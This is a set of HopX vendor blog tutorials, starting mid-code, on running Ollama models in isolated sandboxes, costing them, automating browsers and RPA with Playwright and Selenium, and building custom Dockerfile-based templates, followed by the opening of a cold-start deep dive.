{sandbox_id}") return sandbox except Exception as e: print(f"Could not reconnect: {e}") print("Creating new sandbox...") # Build and create new sandbox template_result = await build_template() sandbox = Sandbox.create( template=TEMPLATE_NAME, api_key=os.getenv("HOPX_API_KEY") ) with open(sandbox_file, "w") as f: f.write(sandbox.sandbox_id) print(f"✓ Created new sandbox: {sandbox.sandbox_id}") return sandbox ``` --- ## Choose the Right Ollama Model ### For Speed and Efficiency - **smollm** (135M-1.7B): Minimal resources, great for testing - **phi-3** (3.8B): Fast inference, good for classification - **qwen2** (7B): Strong multilingual support ### For Quality and Reasoning - **llama3.3** (70B): Advanced reasoning and coding - **mixtral** (47B): Mixture-of-experts for specialized tasks - **deepseek-r1** (70B): Advanced reasoning and problem-solving ### For Code Generation - **codellama** (7B-34B): Optimized for programming - **codegemma** (7B): Google's code-focused model ### Resource Requirements - **2 vCPU, 2GB RAM**: Models up to 3B parameters - **4 vCPU, 8GB RAM**: Models up to 13B parameters - **8 vCPU, 16GB RAM**: Models up to 70B parameters --- ## Cost Calculator: What You Actually Pay HopX charges per second: - **Compute**: $0.000014 per vCPU-second - **Memory**: $0.0000045 per GiB-second - **Storage**: $0.00000003 per GiB-second ```python def calculate_cost(vcpu: int, memory_gb: int, storage_gb: int, hours: float) -> dict: """Calculate HopX sandbox costs.""" seconds = hours * 3600 compute_cost = vcpu * seconds * 0.000014 memory_cost = memory_gb * seconds * 0.0000045 storage_cost = storage_gb * seconds * 0.00000003 total = compute_cost + memory_cost + storage_cost return { "compute": round(compute_cost, 4), "memory": round(memory_cost, 4), "storage": round(storage_cost, 4), "total": round(total, 4), "daily": round(total, 4), "monthly": round(total * 30, 2) } # Example 1: Development Testing print("Example 1: Development Testing (7B model, 30 min/day)") dev_cost = calculate_cost(vcpu=2, memory_gb=4, storage_gb=20, hours=0.5) print(f" Daily cost: ${dev_cost['daily']}") print(f" Monthly cost: ${dev_cost['monthly']}") # Example 2: Production AI Agent print("Example 2: Production AI Agent (13B model, 8 hours/day)") prod_cost = calculate_cost(vcpu=4, memory_gb=8, storage_gb=30, hours=8) print(f" Daily cost: ${prod_cost['daily']}") print(f" Monthly cost: ${prod_cost['monthly']}") # Example 3: 24/7 Service print("Example 3: High-Volume API (10 sandboxes, 24/7)") service_cost = calculate_cost(vcpu=2, memory_gb=4, storage_gb=20, hours=24) print(f" Per sandbox daily: ${service_cost['daily']}") print(f" 10 sandboxes monthly: ${service_cost['monthly'] * 10}") ``` --- ## Cost Optimization Patterns ```python # Pattern 1: Pause When Idle # Paused sandboxes cost 10x less def pause_sandbox_when_idle(sandbox: Sandbox): """Pause sandbox to reduce costs.""" sandbox.pause() # Preserves state, reduces costs print("Sandbox paused. Resume with sandbox.resume()") # Pattern 2: Delete Completed Work async def run_and_cleanup(sandbox: Sandbox, task: str): """Run task and clean up.""" try: result = sandbox.commands.run(task) return result finally: sandbox.delete() # Stop all charges # Pattern 3: Choose Model by Complexity def choose_model(complexity_score: float) -> str: """Choose model based on task complexity.""" if complexity_score < 0.5: return "phi-3" # Fast, cheap elif complexity_score < 0.8: return "llama3.3" # Balanced else: return "mixtral" # Heavy reasoning # Pattern 4: Batch Requests async def batch_process(sandbox: Sandbox, prompts: list[str], model: str): """Process multiple prompts in one session.""" results = [] for prompt in prompts: result = sandbox.commands.run(f"ollama run {model} '{prompt}'") results.append(result.stdout) # Delete sandbox after batch completes sandbox.delete() return results ``` --- ## Security Best Practices ### Why Isolation Matters Each HopX sandbox has: - **Dedicated kernel**: No shared kernel vulnerabilities - **Isolated file system**: No cross-sandbox file access - **Separate network stack**: Network policies per sandbox - **Process tree isolation**: Processes can't see other sandboxes This matters for: - **Healthcare**: HIPAA-compliant patient data - **Finance**: PCI DSS requirements - **Legal**: Privileged document analysis - **Enterprise**: Proprietary code and trade secrets ```python # Handle Secrets Securely def create_secure_sandbox(): """Create sandbox with secure environment variables.""" sandbox = Sandbox.create( template=TEMPLATE_NAME, api_key=os.getenv("HOPX_API_KEY"), env_vars={ "DATABASE_URL": os.getenv("DATABASE_URL"), "API_SECRET": os.getenv("API_SECRET") } ) return sandbox # Choose Data Region def create_regional_sandbox(region: str = "us-east"): """Create sandbox in specific region.""" sandbox = Sandbox.create( template=TEMPLATE_NAME, api_key=os.getenv("HOPX_API_KEY"), region=region # "us-east" or "eu-west" ) return sandbox ``` --- ## Production Pattern: Long-Running AI Agent ```python async def run_ai_agent(): """Run a long-running AI agent.""" sandbox = await get_or_create_sandbox() # Agent runs continuously while True: # Get next task (implement your task queue here) task = get_next_task() # Your implementation result = sandbox.commands.run( f"ollama run llama3.3 '{task.prompt}'", timeout=300 ) process_result(result.stdout) # Your implementation # Check if we should continue if should_stop(): # Your implementation break # Pause instead of delete to preserve state sandbox.pause() ``` --- ## Production Pattern: Multi-Tenant Application ```python tenant_sandboxes = {} def get_tenant_sandbox(tenant_id: str) -> Sandbox: """Get or create isolated sandbox for tenant.""" if tenant_id not in tenant_sandboxes: sandbox = Sandbox.create( template=TEMPLATE_NAME, api_key=os.getenv("HOPX_API_KEY") ) tenant_sandboxes[tenant_id] = sandbox return tenant_sandboxes[tenant_id] # Example usage tenant_a_sandbox = get_tenant_sandbox("tenant-a") tenant_b_sandbox = get_tenant_sandbox("tenant-b") ``` --- ## Use Case: Private Document Analysis ```python async def analyze_documents(documents: list[str]) -> list[dict]: """Analyze sensitive documents privately.""" sandbox = await get_or_create_sandbox() results = [] for doc in documents: # Upload document to sandbox sandbox.files.write("/workspace/document.txt", doc) # Analyze with Ollama response = sandbox.commands.run( "ollama run llama3.3 'Summarize /workspace/document.txt'", timeout=180 ) results.append({ "summary": response.stdout, "document": doc[:100] # First 100 chars for reference }) return results ``` --- ## Use Case: Code Generation and Testing ```python async def generate_and_test_code(specification: str): """Generate and test code in isolated environment.""" sandbox = await get_or_create_sandbox() # Generate code code_response = sandbox.commands.run( f"ollama run codellama 'Write Python function: {specification}'", timeout=120 ) generated_code = code_response.stdout # Write to file sandbox.files.write("/workspace/generated.py", generated_code) # Test the code test_result = sandbox.commands.run( "python /workspace/generated.py", timeout=30 ) return { "code": generated_code, "test_output": test_result.stdout, "success": test_result.exit_code == 0 } ``` --- ## Monitoring and Debugging ```python def monitor_sandbox(sandbox: Sandbox): """Monitor sandbox resource usage.""" info = sandbox.get_info() print(f"Status: {info.status}") print(f"CPU cores: {info.cpu}") print(f"Memory: {info.memory}MB") print(f"Disk: {info.disk_gb}GB") print(f"Region: {info.region}") print(f"Created: {info.created_at}") # Error handling with retry async def run_with_retry( sandbox: Sandbox, command: str, max_retries: int = 3 ) -> str: """Run command with exponential backoff retry.""" for attempt in range(max_retries): try: result = sandbox.commands.run(command, timeout=120) return result.stdout except TimeoutError: if attempt == max_retries - 1: raise print(f"Timeout on attempt {attempt + 1}, retrying...") await asyncio.sleep(2 ** attempt) # Exponential backoff except Exception as e: if attempt == max_retries - 1: raise print(f"Error on attempt {attempt + 1}: {e}, retrying...") await asyncio.sleep(2 ** attempt) ``` --- ## Troubleshooting Guide ### Issue 1: Model Not Found **Problem**: `Error: model 'model-name' not found` **Solution**: Pull the model in your template: ```python .run_cmd("/usr/local/bin/ollama pull your-model-name") ``` ### Issue 2: Out of Memory **Problem**: Sandbox crashes with memory errors **Solution**: Increase memory in BuildOptions: ```python BuildOptions(memory=8192) # Instead of 2048 ``` ### Issue 3: Slow Response Times **Problem**: Models take too long to respond **Solution**: Use smaller models or increase CPU: ```python OLLAMA_MODEL = "phi-3" # Faster model BuildOptions(cpu=4) # More CPU ``` ### Issue 4: Connection Timeouts **Problem**: SDK times out connecting **Solution**: Increase timeout: ```python sandbox.commands.run(command, timeout=300) ``` --- ## Quick Start Checklist **Step 1: Sign Up** 1. Visit [console.hopx.ai](https://console.hopx.ai) 2. Create account (no credit card required) 3. Claim $200 in free credits 4. Copy your API key from dashboard **Step 2: Setup** ```bash pip install hopx-ai export HOPX_API_KEY=your-key-here ``` **Step 3: Deploy** 1. Build template (~2 minutes, one time) 2. Create sandbox (~100ms) 3. Run any Ollama model **What you get:** | Metric | Value | |--------|-------| | Build time | ~2 minutes (once) | | Cold start | ~100ms | | Runtime limit | None | | Cost | ~$0.10/hour for 7B model | --- ## Comparing Your Options | Approach | Cold Start | Isolation | Cost Model | Best For | |----------|-----------|-----------|------------|----------| | **Cloud APIs** (OpenAI, Anthropic) | Instant | Provider-managed | Per-token | Low volume, varied tasks | | **Self-Hosted VMs** | Minutes | Strong | Fixed monthly | Predictable high volume | | **Containers** (Docker) | 10+ seconds | Shared kernel | Fixed or per-second | Development only | | **HopX + Ollama** | ~100ms | Hardware-level | Per-second usage | Variable volume, privacy needs | **Choose HopX + Ollama when you need:** - Fast cold starts for user-facing applications - Strong isolation for sensitive data - Cost control through per-second billing - Freedom to switch models without vendor lock-in - Data privacy and regulatory compliance --- ## Next Steps You now have everything needed to run production LLMs in secure sandboxes. **What you learned:** - Privacy: Data stays in environments you control - Speed: 100ms startup beats any container solution - Cost: Pay only for seconds of actual usage - Security: Hardware-level isolation protects sensitive workloads - Flexibility: Run any model, any size, any configuration **Get started:** 1. Use the $200 free credits 2. Build your first template 3. Test a few models 4. See how the economics work for your use case When ready to scale, the same code works for 10 sandboxes or 1,000. --- ## Frequently Asked Questions ### Can I use any Ollama model? Yes. Any model in the [Ollama library](https://ollama.com/library) works—Llama 3.3, Mixtral, CodeLlama, Phi-3, DeepSeek, and more. Just change the `OLLAMA_MODEL` variable in your template and rebuild. ### How much does it cost to run a model 24/7? For a 7B model (2 vCPU, 4GB RAM, 20GB disk), expect around $2-3 per day. Larger models like 70B need more resources and cost proportionally more. Use `sandbox.pause()` when idle to reduce costs by 90%. ### Is my data really private? Yes. Each sandbox runs in its own micro-VM with dedicated kernel, filesystem, and network. Your prompts and outputs never leave the sandbox. You can also choose specific regions (US, EU) for data residency compliance. ### How long can a sandbox run? As long as you need—hours, days, or weeks. There are no 15-minute timeouts like AWS Lambda. You pay per second of runtime and can pause/resume to save costs. ### Can I run multiple models in one sandbox? Yes. Pull multiple models in your template, then switch between them at runtime with `ollama run model-name`. This is useful for routing simple queries to smaller models and complex ones to larger models. ### What if my model is too slow? Three options: (1) Use a smaller, faster model like Phi-3, (2) Increase vCPU count in BuildOptions, (3) Use quantized versions of models (q4 instead of full precision). --- ## Resources **Getting Started** - [HopX Quickstart Guide](https://docs.hopx.ai/quickstart) - [Ollama Model Library](https://ollama.com/library) - [Python SDK Documentation](https://docs.hopx.ai/) **About HopX** - [HopX Security Architecture](https://docs.hopx.ai/core-concepts/security) - [Template System Documentation](https://docs.hopx.ai/core-concepts/templates) - [Pricing Calculator](https://hopx.ai/#pricing) --- Ready to run your own LLMs? [Sign up for HopX](https://console.hopx.ai) and get $200 in free credits to start. --- ## Desktop Automation with HopX: Browser Testing & RPA URL: https://hopx.ai/blog/tutorials/desktop-automation-browser-testing-rpa/ Category: Tutorials Published: 2025-11-23 # Desktop Automation with HopX: Browser Testing & RPA Browser automation and RPA (Robotic Process Automation) are powerful tools for testing, web scraping, and automating repetitive tasks. But running browsers locally creates problems: resource usage, security risks, and scalability limitations. HopX sandboxes provide isolated environments with full desktop capabilities, including browsers with GPU acceleration. This guide shows you how to run browser automation at scale. ## Why Cloud-Based Browser Automation? **Local automation challenges:** - Browsers consume significant RAM and CPU - Parallel execution requires expensive hardware - Security risks from executing untrusted code - Difficult to scale beyond a single machine - Environment inconsistency across machines **HopX sandbox advantages:** - Each sandbox runs in an isolated micro-VM - Full browser support with virtual display - Scale to hundreds of parallel sessions - Consistent, reproducible environments - No local resource consumption ## Setting Up Browser Automation HopX provides a pre-configured desktop template with browsers and automation tools installed: ```python from hopx import Sandbox # Create sandbox with desktop capabilities sandbox = Sandbox.create(template="desktop") # Verify browser installation result = sandbox.commands.run("chromium --version") print(result.stdout) # Chromium 120.0.6099.71 ``` The desktop template includes: - **Chromium** - Full browser with DevTools - **Firefox** - Alternative browser engine - **Virtual Display (Xvfb)** - Headless display server - **Playwright** - Modern automation framework - **Selenium** - Traditional WebDriver ## Playwright Automation Examples Playwright is the recommended tool for modern browser automation. It supports multiple browsers and provides excellent reliability. ### Basic Navigation and Screenshots ```python from hopx import Sandbox sandbox = Sandbox.create(template="desktop") # Write Playwright script playwright_script = ''' import asyncio from playwright.async_api import async_playwright async def main(): async with async_playwright() as p: browser = await p.chromium.launch(headless=True) page = await browser.new_page() # Navigate and take screenshot await page.goto('https://hopx.ai') await page.screenshot(path='/tmp/homepage.png') # Get page title title = await page.title() print(f"Page title: {title}") await browser.close() asyncio.run(main()) ''' sandbox.files.write("/app/scrape.py", playwright_script) result = sandbox.commands.run("cd /app && python scrape.py") print(result.stdout) # Download the screenshot screenshot = sandbox.files.read("/tmp/homepage.png") with open("homepage.png", "wb") as f: f.write(screenshot) ``` ### Form Automation and Data Extraction ```python from hopx import Sandbox sandbox = Sandbox.create(template="desktop") form_script = ''' import asyncio from playwright.async_api import async_playwright async def main(): async with async_playwright() as p: browser = await p.chromium.launch(headless=True) page = await browser.new_page() # Navigate to a form await page.goto('https://example.com/contact') # Fill form fields await page.fill('#name', 'John Doe') await page.fill('#email', 'john@example.com') await page.fill('#message', 'Hello from HopX!') # Submit and wait for response await page.click('button[type="submit"]') await page.wait_for_selector('.success-message') # Extract confirmation confirmation = await page.text_content('.success-message') print(f"Result: {confirmation}") await browser.close() asyncio.run(main()) ''' sandbox.files.write("/app/form.py", form_script) result = sandbox.commands.run("cd /app && python form.py") print(result.stdout) ``` ### Parallel Browser Sessions One of the biggest advantages of HopX is running multiple browsers in parallel: ```python from hopx import Sandbox import concurrent.futures def scrape_url(url): """Scrape a single URL in its own sandbox""" sandbox = Sandbox.create(template="desktop") script = f''' import asyncio from playwright.async_api import async_playwright async def main(): async with async_playwright() as p: browser = await p.chromium.launch(headless=True) page = await browser.new_page() await page.goto("{url}") title = await page.title() content = await page.content() print(f"Title: {{title}}") print(f"Length: {{len(content)}} chars") await browser.close() asyncio.run(main()) ''' sandbox.files.write("/app/scrape.py", script) result = sandbox.commands.run("cd /app && python scrape.py") sandbox.kill() # Clean up return result.stdout # Scrape multiple URLs in parallel urls = [ "https://news.ycombinator.com", "https://github.com/trending", "https://reddit.com/r/programming", "https://dev.to", "https://lobste.rs" ] with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor: results = list(executor.map(scrape_url, urls)) for url, result in zip(urls, results): print(f"\n{url}:") print(result) ``` ## Selenium WebDriver Examples For projects already using Selenium, HopX sandboxes work seamlessly: ```python from hopx import Sandbox sandbox = Sandbox.create(template="desktop") selenium_script = ''' from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC # Configure headless Chrome options = Options() options.add_argument('--headless') options.add_argument('--no-sandbox') options.add_argument('--disable-dev-shm-usage') options.add_argument('--disable-gpu') driver = webdriver.Chrome(options=options) try: driver.get('https://hopx.ai') # Wait for element to load wait = WebDriverWait(driver, 10) element = wait.until( EC.presence_of_element_located((By.TAG_NAME, "h1")) ) print(f"Title: {driver.title}") print(f"H1: {element.text}") # Take screenshot driver.save_screenshot('/tmp/selenium-shot.png') finally: driver.quit() ''' sandbox.files.write("/app/selenium_test.py", selenium_script) result = sandbox.commands.run("cd /app && python selenium_test.py") print(result.stdout) ``` ## RPA Workflow Automation HopX is perfect for Robotic Process Automation (RPA) tasks that interact with web applications: ### Example: Invoice Processing Automation ```python from hopx import Sandbox sandbox = Sandbox.create(template="desktop") rpa_script = ''' import asyncio from playwright.async_api import async_playwright import json async def process_invoices(): async with async_playwright() as p: browser = await p.chromium.launch(headless=True) context = await browser.new_context() page = await context.new_page() # Login to invoice portal await page.goto('https://invoices.example.com/login') await page.fill('#username', 'automation@company.com') await page.fill('#password', 'secure_password') await page.click('#login-button') # Wait for dashboard await page.wait_for_selector('.invoice-list') # Get all pending invoices invoices = await page.query_selector_all('.invoice-item.pending') processed = [] for invoice in invoices: invoice_id = await invoice.get_attribute('data-id') amount = await invoice.text_content('.amount') # Click to open invoice await invoice.click() await page.wait_for_selector('.invoice-details') # Approve invoice await page.click('#approve-button') await page.wait_for_selector('.approval-success') processed.append({ 'id': invoice_id, 'amount': amount, 'status': 'approved' }) # Go back to list await page.click('.back-to-list') await page.wait_for_selector('.invoice-list') print(json.dumps(processed, indent=2)) await browser.close() asyncio.run(process_invoices()) ''' sandbox.files.write("/app/rpa_invoices.py", rpa_script) result = sandbox.commands.run("cd /app && python rpa_invoices.py") print(result.stdout) ``` ### Example: Data Entry Automation ```python from hopx import Sandbox import json # Data to be entered records = [ {"name": "Alice Johnson", "email": "alice@example.com", "role": "Developer"}, {"name": "Bob Smith", "email": "bob@example.com", "role": "Designer"}, {"name": "Carol White", "email": "carol@example.com", "role": "Manager"}, ] sandbox = Sandbox.create(template="desktop") rpa_script = ''' import asyncio from playwright.async_api import async_playwright import json async def enter_records(records): async with async_playwright() as p: browser = await p.chromium.launch(headless=True) page = await browser.new_page() await page.goto('https://hr-portal.example.com/employees') for record in records: # Click "Add Employee" button await page.click('#add-employee') await page.wait_for_selector('#employee-form') # Fill form await page.fill('#name', record['name']) await page.fill('#email', record['email']) await page.select_option('#role', record['role']) # Submit await page.click('#submit-employee') await page.wait_for_selector('.success-toast') print(f"Added: {record['name']}") await browser.close() records = ''' + json.dumps(records) + ''' asyncio.run(enter_records(records)) ''' sandbox.files.write("/app/data_entry.py", rpa_script) result = sandbox.commands.run("cd /app && python data_entry.py") print(result.stdout) ``` ## Browser Testing for CI/CD HopX sandboxes are ideal for running end-to-end tests in your CI/CD pipeline: ```python from hopx import Sandbox sandbox = Sandbox.create(template="desktop") # Write test file test_script = ''' import pytest import asyncio from playwright.async_api import async_playwright class TestHomepage: @pytest.fixture(scope="class") def browser(self): async def get_browser(): p = await async_playwright().start() browser = await p.chromium.launch(headless=True) yield browser await browser.close() await p.stop() return asyncio.get_event_loop().run_until_complete(get_browser()) def test_homepage_loads(self, browser): async def check(): page = await browser.new_page() response = await page.goto('https://hopx.ai') assert response.status == 200 await page.close() asyncio.get_event_loop().run_until_complete(check()) def test_title_correct(self, browser): async def check(): page = await browser.new_page() await page.goto('https://hopx.ai') title = await page.title() assert 'HopX' in title await page.close() asyncio.get_event_loop().run_until_complete(check()) def test_navigation_works(self, browser): async def check(): page = await browser.new_page() await page.goto('https://hopx.ai') await page.click('a[href="/docs"]') await page.wait_for_url('**/docs**') assert '/docs' in page.url await page.close() asyncio.get_event_loop().run_until_complete(check()) ''' sandbox.files.write("/app/test_homepage.py", test_script) result = sandbox.commands.run("cd /app && pytest test_homepage.py -v") print(result.stdout) ``` ## Handling Authentication & Sessions For RPA tasks requiring authentication, use persistent browser contexts: ```python from hopx import Sandbox sandbox = Sandbox.create(template="desktop") auth_script = ''' import asyncio from playwright.async_api import async_playwright async def authenticated_session(): async with async_playwright() as p: browser = await p.chromium.launch(headless=True) # Create persistent context with storage context = await browser.new_context( storage_state=None # Start fresh ) page = await context.new_page() # Login await page.goto('https://app.example.com/login') await page.fill('#email', 'user@example.com') await page.fill('#password', 'password123') await page.click('#login') # Wait for login to complete await page.wait_for_url('**/dashboard**') # Save authentication state await context.storage_state(path='/tmp/auth_state.json') print("Authentication state saved!") # Now you can reuse this state in future sessions await browser.close() asyncio.run(authenticated_session()) ''' sandbox.files.write("/app/auth.py", auth_script) result = sandbox.commands.run("cd /app && python auth.py") print(result.stdout) # Later, use the saved state reuse_script = ''' import asyncio from playwright.async_api import async_playwright async def reuse_session(): async with async_playwright() as p: browser = await p.chromium.launch(headless=True) # Reuse saved authentication context = await browser.new_context( storage_state='/tmp/auth_state.json' ) page = await context.new_page() await page.goto('https://app.example.com/dashboard') # Already logged in! print(f"Current page: {page.url}") await browser.close() asyncio.run(reuse_session()) ''' sandbox.files.write("/app/reuse.py", reuse_script) result = sandbox.commands.run("cd /app && python reuse.py") print(result.stdout) ``` ## Best Practices ### 1. Always Use Headless Mode in Production ```python browser = await p.chromium.launch( headless=True, args=['--no-sandbox', '--disable-dev-shm-usage'] ) ``` ### 2. Implement Proper Timeouts ```python page.set_default_timeout(30000) # 30 seconds await page.wait_for_selector('.element', timeout=10000) ``` ### 3. Handle Errors Gracefully ```python try: await page.click('#button') except playwright.TimeoutError: print("Button not found, taking screenshot for debugging") await page.screenshot(path='/tmp/error.png') ``` ### 4. Clean Up Resources ```python sandbox = Sandbox.create(template="desktop") try: # ... automation code ... finally: sandbox.kill() # Always clean up ``` ### 5. Use Retry Logic for Flaky Operations ```python async def retry_click(page, selector, max_retries=3): for attempt in range(max_retries): try: await page.click(selector) return True except Exception as e: if attempt == max_retries - 1: raise await asyncio.sleep(1) ``` ## Performance Tips 1. **Reuse sandbox sessions** for multiple operations when possible 2. **Disable images and CSS** for faster scraping: ```python await page.route('**/*.{png,jpg,jpeg,gif,css}', lambda route: route.abort()) ``` 3. **Use `page.wait_for_load_state('networkidle')`** to ensure page is fully loaded 4. **Parallel execution** with multiple sandboxes for independent tasks ## Conclusion HopX sandboxes provide the perfect environment for browser automation and RPA: - **Isolated** - Each automation runs in its own secure VM - **Scalable** - Run hundreds of browsers in parallel - **Consistent** - Same environment every time - **Secure** - No risk to your local machine Start automating with HopX today and scale your browser automation to new levels. ## Resources - [HopX Documentation](https://hopx.ai/docs) - [Playwright Documentation](https://playwright.dev/python/) - [Get Started with HopX](https://hopx.ai/docs/getting-started) --- ## Custom Templates: Pre-bake Your Perfect Environment URL: https://hopx.ai/blog/tutorials/custom-templates-pre-bake-your-environment/ Category: Tutorials Published: 2025-11-22 # Custom Templates: Pre-bake Your Perfect Environment Every time you create a sandbox, you need specific tools, libraries, and configurations. Installing them on each run wastes time and resources. Custom templates solve this by pre-baking everything into a reusable image. This guide shows you how to create, build, and use custom templates that start in milliseconds with everything ready. ## Why Custom Templates? **Without custom templates:** - Install dependencies every sandbox creation - Download packages from the internet repeatedly - Configure tools each time - Cold start: 30+ seconds **With custom templates:** - All dependencies pre-installed - Configuration already applied - Files and data included - Cold start: ~100ms ## Template Basics A HopX template is essentially a Docker image optimized for sandbox execution. You define what goes into the template, and HopX handles the rest. ### Available Base Templates HopX provides these base templates: | Template | Description | Use Case | |----------|-------------|----------| | `code-interpreter` | Python 3.13 with scientific packages | Data analysis, AI/ML | | `desktop` | Full desktop with browsers | Browser automation, RPA | | `node` | Node.js 20+ environment | JavaScript execution | | `base` | Minimal Linux | Custom builds | ## Creating Your First Custom Template ### Method 1: Build from Dockerfile The most flexible approach is using a Dockerfile: ```python from hopx import Template # Create template from Dockerfile template = Template.build( name="my-ml-template", dockerfile=""" FROM python:3.13-slim # Install system dependencies RUN apt-get update && apt-get install -y \\ build-essential \\ git \\ curl \\ && rm -rf /var/lib/apt/lists/* # Install Python packages RUN pip install --no-cache-dir \\ numpy==1.26.0 \\ pandas==2.1.0 \\ scikit-learn==1.3.0 \\ torch==2.1.0 \\ transformers==4.35.0 \\ matplotlib==3.8.0 \\ seaborn==0.13.0 # Set up working directory WORKDIR /app # Pre-download a model (optional but saves time) RUN python -c "from transformers import AutoTokenizer; AutoTokenizer.from_pretrained('bert-base-uncased')" """ ) print(f"Template built: {template.name}") print(f"Template ID: {template.id}") ``` ### Method 2: Build from Base Image Start from an existing image and add your customizations: ```python from hopx import Template template = Template.build( name="data-science-template", base_image="python:3.13-slim", commands=[ "apt-get update && apt-get install -y build-essential", "pip install numpy pandas scikit-learn matplotlib jupyter", "mkdir -p /data /notebooks" ] ) ``` ### Method 3: Extend HopX Templates Build on top of existing HopX templates: ```python from hopx import Template # Extend the code-interpreter template template = Template().from_code_interpreter_image("3.13") template.add_commands([ "pip install openai anthropic langchain", "pip install chromadb faiss-cpu" ]) template.build(name="ai-agent-template") ``` ## Using Custom Templates Once built, use your template just like built-in ones: ```python from hopx import Sandbox # Create sandbox from custom template sandbox = Sandbox.create(template="my-ml-template") # All packages are already installed! result = sandbox.commands.run(""" python -c " import torch import transformers print(f'PyTorch: {torch.__version__}') print(f'Transformers: {transformers.__version__}') print('GPU available:', torch.cuda.is_available()) " """) print(result.stdout) ``` ## Advanced Template Patterns ### Adding Files and Data Include files in your template: ```python from hopx import Template template = Template.build( name="with-data-template", dockerfile=""" FROM python:3.13-slim WORKDIR /app # Copy local files into the image COPY requirements.txt . RUN pip install -r requirements.txt # Include data files COPY data/ /data/ COPY config/ /config/ """, context_files={ "requirements.txt": "numpy\npandas\nscikit-learn", "data/sample.csv": "id,value\n1,100\n2,200", "config/settings.json": '{"debug": false, "threads": 4}' } ) ``` ### Environment Variables Set default environment variables: ```python from hopx import Template template = Template.build( name="configured-template", dockerfile=""" FROM python:3.13-slim ENV PYTHONUNBUFFERED=1 ENV MODEL_PATH=/models ENV LOG_LEVEL=INFO # Your setup... """ ) # Variables are available in sandbox sandbox = Sandbox.create(template="configured-template") result = sandbox.commands.run("echo $MODEL_PATH") print(result.stdout) # /models ``` ### Multi-Stage Builds for Smaller Images Keep images small by using multi-stage builds: ```python from hopx import Template template = Template.build( name="optimized-template", dockerfile=""" # Build stage - compile dependencies FROM python:3.13 AS builder RUN pip install --target=/deps numpy pandas scikit-learn # Runtime stage - minimal image FROM python:3.13-slim COPY --from=builder /deps /usr/local/lib/python3.13/site-packages/ WORKDIR /app """ ) ``` ### Pre-trained Models Include ML models in your template: ```python from hopx import Template template = Template.build( name="llm-template", dockerfile=""" FROM python:3.13-slim RUN pip install transformers torch sentence-transformers # Pre-download models during build RUN python -c " from sentence_transformers import SentenceTransformer model = SentenceTransformer('all-MiniLM-L6-v2') model.save('/models/all-MiniLM-L6-v2') " ENV MODEL_PATH=/models """ ) # Models are ready instantly sandbox = Sandbox.create(template="llm-template") result = sandbox.commands.run(""" python -c " from sentence_transformers import SentenceTransformer model = SentenceTransformer('/models/all-MiniLM-L6-v2') embedding = model.encode('Hello world') print(f'Embedding shape: {embedding.shape}') " """) print(result.stdout) ``` ## Template for Specific Frameworks ### LangChain Agent Template ```python from hopx import Template langchain_template = Template.build( name="langchain-agent", dockerfile=""" FROM python:3.13-slim RUN pip install --no-cache-dir \\ langchain==0.1.0 \\ langchain-openai \\ langchain-community \\ chromadb \\ faiss-cpu \\ pypdf \\ tiktoken WORKDIR /app """ ) ``` ### FastAPI Microservice Template ```python from hopx import Template fastapi_template = Template.build( name="fastapi-service", dockerfile=""" FROM python:3.13-slim RUN pip install --no-cache-dir \\ fastapi \\ uvicorn[standard] \\ pydantic \\ httpx \\ python-multipart WORKDIR /app EXPOSE 8000 """ ) ``` ### Data Pipeline Template ```python from hopx import Template pipeline_template = Template.build( name="data-pipeline", dockerfile=""" FROM python:3.13-slim RUN apt-get update && apt-get install -y \\ postgresql-client \\ && rm -rf /var/lib/apt/lists/* RUN pip install --no-cache-dir \\ pandas \\ sqlalchemy \\ psycopg2-binary \\ pyarrow \\ duckdb \\ polars WORKDIR /app """ ) ``` ## Template Management ### Listing Templates ```python from hopx import Template # List all templates templates = Template.list() for t in templates: print(f"{t.name}: {t.id}") ``` ### Updating Templates When you need to update a template: ```python from hopx import Template # Rebuild with the same name template = Template.build( name="my-template", # Same name = update dockerfile=""" FROM python:3.13-slim # Updated dependencies RUN pip install numpy==1.27.0 # New version """ ) ``` ### Deleting Templates ```python from hopx import Template Template.delete("old-template-name") ``` ## Performance Optimization ### Minimize Image Layers ```dockerfile # Bad - many layers RUN apt-get update RUN apt-get install -y curl RUN apt-get install -y git RUN rm -rf /var/lib/apt/lists/* # Good - single layer RUN apt-get update && apt-get install -y \ curl \ git \ && rm -rf /var/lib/apt/lists/* ``` ### Use .dockerignore ```python template = Template.build( name="my-template", dockerfile="...", context_files={...}, dockerignore=""" *.pyc __pycache__ .git .env node_modules """ ) ``` ### Order Commands by Frequency of Change ```dockerfile # Least likely to change first FROM python:3.13-slim RUN apt-get update && apt-get install -y build-essential # More stable dependencies RUN pip install numpy pandas # Frequently changing dependencies last RUN pip install my-custom-package==1.2.3 ``` ## Template Versioning Use version tags for production templates: ```python from hopx import Template from datetime import datetime version = datetime.now().strftime("%Y%m%d") template = Template.build( name=f"production-template-v{version}", dockerfile="""...""" ) # Keep track of versions # production-template-v20251122 # production-template-v20251123 ``` ## Troubleshooting ### Build Failures ```python try: template = Template.build(name="test", dockerfile="...") except BuildError as e: print(f"Build failed: {e}") print(f"Build logs: {e.logs}") ``` ### Image Too Large Check what's consuming space: ```dockerfile # Add this to debug RUN du -sh /* 2>/dev/null | sort -hr | head -20 ``` ### Missing Dependencies at Runtime Verify installation during build: ```dockerfile RUN pip install my-package && python -c "import my_package" ``` ## Best Practices Summary 1. **Start minimal** - Only include what you need 2. **Version dependencies** - Pin specific versions 3. **Pre-download models** - Don't download at runtime 4. **Use multi-stage builds** - Keep final image small 5. **Test locally first** - Build and test before deploying 6. **Document your templates** - Add comments explaining choices 7. **Version templates** - Use tags for production ## Conclusion Custom templates are the key to fast, reliable sandboxes. By pre-baking your environment: - **Faster starts** - 100ms vs 30+ seconds - **Consistent environments** - Same setup every time - **Lower costs** - Less runtime computation - **Better reliability** - No network dependency issues Start building your custom templates today and transform your sandbox workflow. ## Resources - [HopX Template Documentation](https://hopx.ai/docs/templates) - [Dockerfile Best Practices](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/) - [Python Docker Images](https://hub.docker.com/_/python) --- ## How HopX Achieves 100ms Cold Starts URL: https://hopx.ai/blog/deep-dives/how-hopx-achieves-100ms-cold-starts/ Category: Deep Dives Published: 2025-11-21 # How HopX Achieves 100ms Cold Starts When developers hear "virtual machine," they think of slow boot times—30 seconds to minutes. Containers are faster but still take seconds. HopX sandboxes start in under 100 milliseconds. This isn't marketing spin. It's the result of carefully designed infrastructure that prioritizes startup latency above all else. 